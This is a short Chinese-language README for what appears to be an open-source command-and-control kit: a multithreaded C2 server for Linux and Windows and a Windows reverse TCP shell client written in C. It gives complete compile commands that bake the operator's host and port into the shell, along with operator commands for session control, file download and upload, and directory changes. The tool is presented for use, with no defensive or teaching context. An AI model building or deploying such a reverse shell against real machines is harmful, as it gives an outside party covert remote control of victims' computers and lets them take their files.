多线程、多操作系统/平台(Linux/Windows)的C2服务器和Windows反向TCP Shell客户端,皆用C语言编写。
使用i686-w64-mingw32-gcc编译反向TCP Shell客户端:
i686-w64-mingw32-gcc sakito_revshell.c lib/windows/sakito_win_core.c -o sakito_revshell.exe -s -ffunction-sections -fdata-sections -fno-exceptions -fmerge-all-constants -static-libgcc -lws2_32 -D PORT=<port_number> -D HOST=\"<server_ipv4_address>\"
在开发人员命令提示符中使用cl.exe编译反向TCP Shell:
cl.exe sakito_revshell.c lib/windows/sakito_win_core.c /D PORT=<port_number> /D HOST=\"<server_ipv4_address>\"
使用GCC编译Linux服务器:
gcc -pthread sakito_server.c lib/sakito_server_tools.c lib/linux/sakito_slin_utils.c -o sakito_server -D PORT=<port_number>
在开发人员命令提示符中使用cl.exe编译Windows服务器:
cl.exe sakito_server.c lib/windows/sakito_win_core.c lib/sakito_server_tools.c lib/windows/sakito_swin_utils.c /D PORT=<port_number>
命令列表:
list: 列出可用连接。
interact [id]: 与客户端交互。
download [filename]: 从客户端的文件系统下载文件到服务器的文件系统。
upload [filename]: 从服务器的文件系统上传文件到客户端的文件系统。
background: 将客户端置于后台。
exit: 终止客户端或主机。
cd [dir]: 切换客户端或主机的目录。